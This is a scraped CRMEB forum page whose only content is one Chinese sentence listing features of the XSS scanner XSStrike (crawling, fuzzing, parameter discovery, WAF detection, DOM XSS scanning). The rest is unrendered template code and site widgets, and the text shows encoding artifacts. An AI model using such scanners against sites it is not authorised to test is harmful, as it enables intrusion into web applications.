除此之外,XSStrike還具有網(wǎng)頁爬蟲、fuzzing、參數(shù)發(fā)現(xiàn)和WAF檢測功能。同時能夠掃描DOM XSS漏洞。



請登錄后查看

CRMEB-慕白寒窗雪 最后編輯于2023-04-25 18:23:04

快捷回復(fù)
回復(fù)
回復(fù)
回復(fù)({{post_count}}) {{!is_user ? '我的回復(fù)' :'全部回復(fù)'}}
排序 默認正序 回復(fù)倒序 點贊倒序

{{item.user_info.nickname ? item.user_info.nickname : item.user_name}} LV.{{ item.user_info.bbs_level || item.bbs_level }}

作者 管理員 企業(yè)

{{item.floor}}# 同步到gitee 已同步到gitee {{item.is_suggest == 1? '取消推薦': '推薦'}}
{{item.is_suggest == 1? '取消推薦': '推薦'}}
沙發(fā) 板凳 地板 {{item.floor}}#
{{item.user_info.title || '暫無簡介'}}
附件

{{itemf.name}}

{{item.created_at}}  {{item.ip_address}}
打賞
已打賞¥{{item.reward_price}}
{{item.like_count}}
{{item.showReply ? '取消回復(fù)' : '回復(fù)'}}
刪除
回復(fù)
回復(fù)

{{itemc.user_info.nickname}}

{{itemc.user_name}}

回復(fù) {{itemc.comment_user_info.nickname}}

附件

{{itemf.name}}

{{itemc.created_at}}
打賞
已打賞¥{{itemc.reward_price}}
{{itemc.like_count}}
{{itemc.showReply ? '取消回復(fù)' : '回復(fù)'}}
刪除
回復(fù)
回復(fù)
查看更多
打賞
已打賞¥{{reward_price}}
2187
{{like_count}}
{{collect_count}}
添加回復(fù) ({{post_count}})

相關(guān)推薦

快速安全登錄

使用微信掃碼登錄
{{item.label}} 加精
{{item.label}} {{item.label}} 板塊推薦 常見問題 產(chǎn)品動態(tài) 精選推薦 首頁頭條 首頁動態(tài) 首頁推薦
取 消 確 定
回復(fù)
回復(fù)
問題:
問題自動獲取的帖子內(nèi)容,不準確時需要手動修改. [獲取答案]
答案:
提交
bug 需求 取 消 確 定
打賞金額
當前余額:¥{{rewardUserInfo.reward_price}}
{{item.price}}元
請輸入 0.1-{{reward_max_price}} 范圍內(nèi)的數(shù)值
打賞成功
¥{{price}}
完成 確認打賞

微信登錄/注冊

切換手機號登錄

{{ bind_phone ? '綁定手機' : '手機登錄'}}

{{codeText}}
切換微信登錄/注冊
暫不綁定
CRMEB客服

CRMEB咨詢熱線 咨詢熱線

400-8888-794

微信掃碼咨詢

CRMEB開源商城下載 源碼下載 CRMEB幫助文檔 幫助文檔
返回頂部 返回頂部
CRMEB客服